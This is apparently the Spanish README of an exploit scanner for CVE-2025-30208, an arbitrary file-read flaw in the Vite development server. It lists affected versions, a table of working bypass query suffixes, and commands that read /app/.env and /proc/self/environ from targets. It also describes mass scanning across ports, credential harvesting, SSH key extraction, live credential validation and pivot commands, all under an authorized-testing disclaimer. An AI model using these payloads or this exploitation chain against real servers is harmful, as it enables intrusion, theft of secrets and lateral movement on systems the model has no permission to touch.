
Escáner de exploit para CVE-2025-30208 (lectura arbitraria de archivos en Vite) con detección de bypass multivariante, recolección de credenciales, extracción de claves SSH e informes estructurados para pruebas de penetración autorizadas.
CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Severidad: CVSS 5.3 Media (servidor de desarrollo accesible por red)
⚠ Solo para pruebas de seguridad autorizadas.
El uso no autorizado contra sistemas que no posee o para los que no tiene permiso explícito por escrito es ilegal.
El servidor de desarrollo de Vite permite servir archivos arbitrarios del sistema de archivos del host mediante solicitudes /@fs/.
Una comprobación de sanitización de cadenas de consulta faltante en versiones afectadas permite a un atacante añadir sufijos especialmente diseñados para eludir la lista blanca y leer cualquier archivo al que el proceso pueda acceder, incluidos archivos .env, claves privadas SSH, credenciales en la nube y entradas de /proc.
| Branch | Última vulnerable | Parcheada |
|---|---|---|
| 6.3.x | 6.3.0 | 6.3.1+ |
| 6.2.x | 6.2.2 | 6.2.3+ |
| 6.1.x | 6.1.1 | 6.1.2+ |
| 6.0.x | 6.0.11 | 6.0.12+ |
| 5.4.x | 5.4.14 | 5.4.15+ |
| 4.5.x | 4.5.9 | 4.5.10+ |
| Nombre | Suffijo / Consulta | Descripción |
|---|---|---|
raw?? | ?raw?? | El ?? final rompe rawRE |
import&raw?? | ?import&raw?? | Módulo ES + raw combinados |
raw? | ?raw? | Un solo ? final |
url&raw?? | ?url&raw?? | Modo URL combinado |
raw&url?? | ?raw&url?? | Orden de parámetros invertido |
import&?raw | ?import&?raw | Prefijo de importación mal formado |
sec-fetch | ?raw + cabecera Sec-Fetch | ?raw + cabecera Sec-Fetch |
raw-encoded | ?raw%3f%3f | Separadores codificados en URL |
double-slash | ?raw??/ | Bypass de sufijo de doble barra (v5) |
pct-all | %3fraw%3f%3f | Consulta completamente codificada en porcentaje (v5) |
raw-hash | ?raw??# | Bypass de ancla de fragmento (v5) |
wasm-init | ?inline=1.wasm?init | Hermano de CVE-2025-31125 (init de wasm) |
pip install requests
# or
pip install -r requirements.txt
python main.py -t https://target.com
python main.py -t https://target.com --full-chain --output /tmp/report
python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt
python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080
python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080
python main.py -t https://target.com --no-color | tee scan.log
python main.py --version
python -m cve30208 -t https://target.com
| Flag | Predeterminado | Descripción |
|---|---|---|
-t/--target | — | URL de un solo objetivo |
-l/--lists | — | Archivo que contiene un objetivo por línea |
--stealth | off | Añadir retardos aleatorios entre solicitudes |
--proxy | — | Proxy HTTP/HTTPS (http://host:port) |
--timeout | 10 | Tiempo de espera por solicitud en segundos |
--verify | off | Habilitar verificación de certificado TLS |
--file | — | Leer una ruta específica en el host objetivo |
--save | — | Guardar el contenido de --file en una ruta local |
--full-chain | on | Ejecutar cadena de explotación completa (la validación en vivo es la predeterminada) |
--output | — | Escribir informe JSON + Markdown en esta ruta base |
--workers | 10 | Trabajadores paralelos para escaneo masivo |
--ports | ver más abajo | Puertos separados por comas para sondear en modo masivo |
--no-color/--plain | off | Deshabilitar códigos de color ANSI |
--safe-mode | off | Redactar valores secretos en la salida del terminal |
--show-secrets | off | Mostrar secretos completos en el terminal (anula --safe-mode) |
--version | — | Mostrar versión y salir |
Puertos predeterminados para escaneo masivo: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443
Cuando se especifica --output /tmp/report, el escáner escribe:
/tmp/report.json — hallazgos estructurados legibles por máquina/tmp/report.md — informe Markdown legible por humanosEl escaneo masivo siempre imprime VULN_COUNT=N en la última línea para facilitar la creación de scripts de shell:
python main.py -l targets.txt | grep '^VULN_COUNT='
Los escaneos de un solo objetivo imprimen SCAN_STATUS=VULNERABLE|NOT_VULNERABLE al final para automatización.
cve30208/
├── __init__.py — superficie de la API pública
├── __main__.py — punto de entrada python -m cve30208
├── constants.py — constantes BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan
├── ui.py — códigos de color ANSI, Spin/NullSpin, ayudantes de terminal
├── utils.py — ayudantes compartidos (_unescape_js_string)
├── secrets.py — scan_secrets(), parse_env(), parse_environ()
├── ssh.py — extract_ssh_key(), collect_ssh_targets()
├── exploit.py — ExploitResult, ExploitStage (validación de credenciales en vivo)
│ incluye un registro de verificación para facilitar la extensión
├── report.py — save_report(), make_md()
└── scanner.py — FR/R dataclasses, Scanner, bulk_scan(), main()
main.py — adaptador de compatibilidad hacia atrás
requirements.txt
El escáner suprime automáticamente los artefactos repetidos para que la salida se mantenga limpia incluso cuando HOME es igual a /root o el mismo secreto aparece en múltiples archivos:
| Capa | Mecanismo |
|---|---|
| Lecturas del sistema de archivos | stage_fs normaliza la lista base de claves SSH con dict.fromkeys y elimina rutas duplicadas de la cola reads antes de generar cualquier salida. |
| Guardado de archivos | Scanner._save verifica un conjunto _seen_file_paths por escaneo; las rutas duplicadas devuelven el FR ya almacenado sin volver a añadirlo a r.files. |
| Secretos | Scanner._save deduplica r.secrets globalmente por (name, value) en todos los archivos; la deduplicación dentro del archivo se maneja por separado en scan_secrets. |
| Claves SSH | stage_ssh colapsa claves con la misma firma PEM (primeros _PEM_SIG_LEN bytes) que aparecen en múltiples archivos fuente. |
| Comandos pivot | Los bloques pivot se indexan por (key_source, host, port); las combinaciones idénticas se imprimen solo una vez. |
La línea de resumen informa cuántos archivos, secretos y claves SSH se suprimieron como duplicados, por ejemplo:
deduplicado 2 archivo(s), 4 credencial(es), 1 clave(s) SSH suprimidos como duplicados